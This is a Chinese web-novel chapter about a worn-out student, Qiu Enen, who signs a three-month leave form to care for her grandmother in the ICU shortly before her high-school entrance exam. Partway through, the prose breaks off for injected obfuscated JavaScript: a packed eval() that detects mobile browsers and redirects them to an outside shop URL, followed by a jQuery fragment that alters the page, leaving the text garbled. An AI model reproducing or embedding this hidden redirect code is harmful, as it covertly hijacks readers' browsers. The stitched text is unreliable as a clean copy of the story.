第四卷·第二十二章请假三个月
五月的最后一天，阳光终于有了夏天的重量，明晃晃地砸下来，在操场上蒸腾出扭曲的热浪。梧桐叶绿得发黑，层层叠叠，把阳光切得细碎，在红色跑道上投出斑驳的光斑。蝉开始叫了，一声接一声，不知疲倦，像某种盛大的、聒噪的合唱。
教室里，倒计时牌上的数字缩到了“18”，红色的，刺眼得像一道正在流血的伤口。粉笔灰在日光灯下飞舞，学生们埋头做题，笔尖划过纸张的声音沙沙响成一片，像春蚕啃食桑叶，急切，贪婪，带着一种末日来临前的、疯狂的宁静。
秋蒽蒽坐在座位上，面前摊着数学模拟卷。最后一道大题，函数与几何的综合，她盯着图看了十分钟，辅助线画了又擦，擦了又画，草稿纸上写满了算式，但思路像一团乱麻，怎么也理不清。她想起顾雨落教她的方法——“看这里，连接这两个点，相似三角形就出来了”。但现在，顾雨落不在了，那些方法，那些思路，那些清晰而冷静的声音，也一起消失了，只留下这本深绿色的笔记本，和里面越来越淡的薄荷味，像一个苍白的、无用的安慰。
她放下笔，揉了揉太阳穴。眼睛很干，很涩，看久了字就开始跳舞。她已经三天没怎么睡了。白天在医院，晚上回家，做作业，复习，然后躺下，睁着眼睛看天花板，听着窗外的雨声，或者寂静，等到天蒙蒙亮，爬起来，洗把脸，去医院，然后来学校。
循环往复，像一个没有尽头的、疲惫的噩梦。
“秋蒽蒽。”
她抬起头，陈老师站在她桌边，手里拿着一张表格。陈老师的表情很严肃，但眼神里有种秋蒽蒽看不懂的、复杂的情绪——像是同情，像是担忧，又像是一种“你必须做个选择”的逼迫。
“你跟我来一下办公室。”陈老师说。
秋蒽蒽站起来，跟着她走出教室。走廊里很安静，只有她们两个人的脚步声，在空荡的楼道里回响。阳光从窗户斜斜地照进来，把陈老师的影子投在斑驳的墙面上，拉得很长，很长。
走进办公室，陈老师关上门，示意她坐下。办公室里有空调，很凉，和外面的闷热形成鲜明对比。秋蒽蒽坐在椅子上，背挺得很直，手指无意识地抠着校服下摆。
陈老师在她对面坐下，把那张表格推过来。是请假申请表，已经填好了大部分，申请人姓名：秋蒽蒽。请假事由：家庭原因。请假时间：三个月。下面是班主任意见、年级组长意见、教务处意见，都还空着。
“你外婆的情况，我都知道了，”陈老师开口，声音很温和，但公事公办，“医院那边我也联系过了，情况不乐观。你妈妈一个人照顾，很辛苦。你也……很辛苦。”
秋蒽蒽没说话，只是看着那张表。三个月。从现在到中考，正好三个月。也就是说，如果她签了这张表，她就不能来学校了，不能上课，不能模拟考，不能和同学们一起冲刺，不能……不能完成和顾雨落的那个约定，那个“一起考一中”的约定，即使顾雨落已经不在了，即使那个约定早就成了废墟。
“陈老师，”她听见自己问，声音很轻，很平静，“我必须请假吗？”
陈老师沉默了一会儿，然后说：“不是必须，是建议。秋蒽蒽，你最近的状态很差。上课走神，作业完成质量下降，模拟考成绩一次比一次低。这样下去，别说一中，普通高中都危险。”
她顿了顿，看着秋蒽蒽，眼神更复杂了：“我知道你家里的事，知道你很难。但中考是你自己的事，是你人生的关键一步。你不能因为家里的事，就把自己的未来赌进去。请假回家，好好照顾外婆，也调整一下自己的状态。等外婆情况稳定了，你再回来，我们想办法给你补课，冲刺最后一个月。好吗？”
秋蒽蒽低下头，看着那张表。请假事由：家庭原因。四个字，简单，空洞，但重得像四座山，压在她身上，让她喘不过气。家庭原因——外婆在ICU，妈妈在医院和公司之间奔波，爸爸在另一个城市有了新家，顾雨落坐着一列再也回不了头的火车，离她越来越远。这些，都是“家庭原因”。这些原因，像一张巨大的、湿漉漉的网，把她罩在里面，越收越紧，直到她窒息，直到她放弃挣扎，直到她签下这张表，承认自己不行了，承认自己扛不住了，承认那些约定、那些努力、那些“一起考一中”的梦想，都成了笑话，成了废墟，成了再也回不去的、十五岁的春天。
“陈老师，”她又开口，声音依然很轻，但带着一丝不易察觉的颤抖，“如果我请假，是不是……就考不上一中了？”
陈老师看着她，看了很久，然后叹了口气，那叹息很重，很疲惫：“秋蒽蒽，一中对你的意义，我很清楚。但有时候，我们要面对现实。现实是，你外婆在ICU，你妈妈很累，你很累，你的状态很差。现实是，中考只有一次，错过了，就再也没有了。现实是，你必须做一个选择——是硬扛着，最后可能什么都得不到，还是暂时退一步，等准备好了，再重新出发。”
暂时退一步。秋蒽蒽在心里重复这个词。退到哪里？退到这张请假表后面？退到那个没有学校、没有同学、没有倒计时、只有医院和家的、无边无际的空白里？退到那些再也回不去的日子里，退到那些永远实现不了的约定里，退到那个深不见底的、湿漉漉的、名为“现实”的深渊里？
“我想想。”她说。
“好，”陈老师点头，把笔推过来，“你好好想想。但最迟明天，给我答复。学校这边，流程要走。医院那边，你妈妈也需要你。”
秋蒽蒽拿起笔，笔尖悬在签名栏上方，久久没有落下。黑色的墨水在笔尖凝聚，像一滴沉重的、黑色的泪，随时会掉下来，掉在纸上，洇开，变成一个再也擦不掉的、黑色的印记。
她想起外婆说，蒽蒽，你要好好的。
想起顾雨落说，一中，你要加油。
想起自己说，不管发生什么，都要好好的，都要加油。
但“好好的”是什么？“加油”又是什么？是硬扛着，把自己累垮，把未来赌进去，最后可能什么都得不到？还是暂时退一步，承认自己不行了，承认那些梦想太远了，承认那些约定太重了，然后签下这张表，给自己一个喘息的机会，也给外婆、给妈妈、给这个支离破碎的家，一个喘息的机会？
她不知道。她只觉得累，从骨头缝里渗出来的累，累到不想思考，不想选择
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17551623|204347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，不想承担。只想闭上眼睛，睡过去，永远不要醒来，永远不用面对这张表，不用面对ICU里的外婆，不用面对疲惫的妈妈，不用面对空掉的座位，不用面对那些越来越淡的薄荷味，不用面对那个叫“中考”的怪物，和那个再也回不去的、十五岁的春天。
笔尖终于落下，在纸上划出沙沙的声响。很轻，但在安静的办公室里，很清晰，像某种宣告，也像某种投降——宣告她累了，投降了，认输了。承认自己不行了，承认那些约定太重了，承认那些梦想太远了，承认现实太残酷了，残酷到她扛不住，残酷到她必须退一步，退到这张请假表后面，退到那个没有光、没有希望、只有无尽疲惫和等待的、漫长的空白里。
秋蒽蒽。
三个字，工工整整，是她练了两年的、最好的字。但此刻，这三个字像三个黑色的、沉重的十字架，钉在纸上，也钉在她心里，钉出一个永远也愈合不了的、黑色的伤口。
她把笔放下，把表推回去。陈老师接过，看了看签名，然后抬头看着她，眼神里有种秋蒽蒽看不懂的、深切的悲哀。
“好好照顾外婆，”陈老师说，声音很轻，“也照顾好自己。学校这边，我会跟各科老师打招呼，让他们把资料、卷子留给你。有什么问题，随时给我打电话。”
“谢谢老师。”秋蒽蒽说，站起来，对她鞠了一躬。然后转身，走出办公室。
走廊里依然很安静，阳光依然很好，蝉依然在叫。但秋蒽蒽觉得，这一切都隔着一层厚厚的、透明的膜，她能看见，但感觉不到。她能听见，但听不懂。她能走，但不知道要去哪里，要做什么，要怎么办。
她走回教室。同学们还在埋头做题，没有人抬头看她。她走到座位边，坐下，开始收拾书包。一本一本，数学，物理，化学，语文，英语。还有那本深绿色的笔记本，和那个装着《城南旧事》的纸盒。她把它们放进书包，拉上拉链，然后站起来，背起书包，走出教室。
没有回头。她知道，那个座位从今天起，会一直空着，像顾雨落的座位一样，空着，直到中考，直到毕业，直到所有人都离开，直到这个教室被清空，被粉刷，被新的学生、新的桌椅、新的故事填满。而她和顾雨落，和那些“一起考一中”的约定，和那些“明天见”的日子，和那些图书馆的午后，那些操场的黄昏，那些传过的纸条，那些拉过的钩，都会被遗忘，被覆盖，被时间的灰尘深深掩埋，直到再也找不到任何痕迹。
就像一场下了整整三年，却突然停了的雨。
像一本写了两百多页，却突然合上的书。
像一片在春天泛黄，却在夏天来临前，就被风吹落的叶子。
戛然而止。
不留余地。
而她，签下那张请假表，从今天起，正式退出这场游戏，退出这场名为“中考”的、残酷的战争，退出那些再也回不去的、十五岁的春天。
退到那张表后面，退到那个没有光、没有希望、只有无尽疲惫和等待的、漫长的空白里。
退到，老屋的天井里，外婆的病床前，妈妈疲惫的眼睛里，和那些永远也流不完的、湿漉漉的雨声里。
一个人。